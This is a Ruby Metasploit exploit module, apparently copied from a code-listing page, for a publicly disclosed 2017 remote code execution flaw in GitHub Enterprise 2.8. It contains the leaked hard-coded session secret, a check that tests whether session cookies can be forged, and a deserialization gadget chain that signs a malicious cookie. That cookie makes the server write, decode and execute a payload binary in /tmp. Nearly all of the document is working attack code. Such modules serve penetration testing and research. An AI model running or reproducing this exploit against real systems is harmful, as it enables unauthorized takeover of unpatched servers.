1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Github Enterprise Default Session Secret And Deserialization Vulnerability", 'Description'=> %q{ This module exploits two security issues in Github Enterprise, version 2.8.0 - 2.8.6. The first is that the session management uses a hard-coded secret value, which can be abused to sign a serialized malicious Ruby object. The second problem is due to the use of unsafe deserialization, which allows the malicious Ruby object to be loaded, and results in arbitrary remote code execution. This exploit was tested against version 2.8.0. }, 'License'=> MSF_LICENSE, 'Author' => [ 'iblue <iblue[at]exablue.de>', # Original discovery, writeup, and PoC (he did it all!) 'sinn3r' # Porting the PoC to Metasploit ], 'References' => [ [ 'EDB', '41616' ], [ 'URL', 'http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html' ], [ 'URL', 'https://enterprise.github.com/releases/2.8.7/notes' ] # Patched in this version ], 'Platform' => 'linux', 'Targets'=> [ [ 'Github Enterprise 2.8', { } ] ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 8443 }, 'Privileged' => false, 'DisclosureDate' => 'Mar 15 2017', 'DefaultTarget'=> 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path for Github Enterprise', '/']) ], self.class) end def secret '641dd6454584ddabfed6342cc66281fb' end def check uri = normalize_uri(target_uri.path, 'setup', 'unlock') res = send_request_cgi!({ 'method' => 'GET', 'uri'=> uri, 'vars_get' =>{ 'redirect_to' => '/' } }) unless res vprint_error('Connection timed out.') return Exploit::CheckCode::Unknown end unless res.get_cookies.match(/^_gh_manage/) vprint_error('No _gh_manage value in cookie found') return Exploit::CheckCode::Safe end cookies = res.get_cookies vprint_status("Found cookie value: #{cookies}, checking to see if it can be tampered...") gh_manage_value = CGI.unescape(cookies.scan(/_gh_manage=(.+)/).flatten.first) data = gh_manage_value.split('--').first hmac = gh_manage_value.split('--').last.split(';', 2).first vprint_status("Data: #{data.gsub(/\n/, '')}") vprint_status("Extracted HMAC: #{hmac}") expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data) vprint_status("Expected HMAC: #{expected_hmac}") if expected_hmac == hmac vprint_status("The HMACs match, which means you can sign and tamper the cookie.") return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def get_ruby_code b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin" bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin" register_file_for_cleanup(b64_fname, bin_fname) p = Rex::Text.encode_base64(generate_payload_exe) c= "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; " c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); " c << "%x(chmod +x #{bin_fname}); " c << "%x(#{bin_fname})" c end def serialize # We don't want to run this code within the context of Framework, so we run it as an # external process. # Brilliant trick from Brent and Adam to overcome the issue. ruby_code = %Q| module Erubis;class Eruby;end;end module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end erubis = Erubis::Eruby.allocate erubis.instance_variable_set :@src, \\"#{get_ruby_code}; 1\\" proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate proxy.instance_variable_set :@instance, erubis proxy.instance_variable_set :@method, :result proxy.instance_variable_set :@var, "@result" session = { 'session_id' => '', 'exploit'=> proxy } print Marshal.dump(session) | serialized_output = <code>ruby -e "#{ruby_code}" serialized_object = [serialized_output].pack('m') hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, serialized_object) return serialized_object, hmac end def send_serialized_data(dump, hmac) uri = normalize_uri(target_uri.path) gh_manage_value = CGI.escape("#{dump}--#{hmac}") cookie = "_gh_manage=#{gh_manage_value}" res = send_request_cgi({ 'method' => 'GET', 'uri'=> uri, 'cookie' => cookie }) if res print_status("Server returned: #{res.code}") end end def exploit dump, hmac = serialize print_status('Serialized Ruby stager') print_status('Sending serialized Ruby stager...') send_serialized_data(dump, hmac) end end =begin Handy information: To deobfuscate Github code, use this script: https://gist.github.com/wchen-r7/003bef511074b8bc8432e82bfbe0dd42 Github Enterprise's Rack::Session::Cookie saves the session data into a cookie using this algorithm: * Takes the session hash (Json) in env['rack.session'] * Marshal.dump the hash into a string * Base64 the string * Append a hash of the data at the end of the string to prevent tampering. * The signed data is saved in _gh_manage' The format looks like this: [ DATA ]--[ Hash ] Also see: https://github.com/rack/rack/blob/master/lib/rack/session/cookie.rb =end |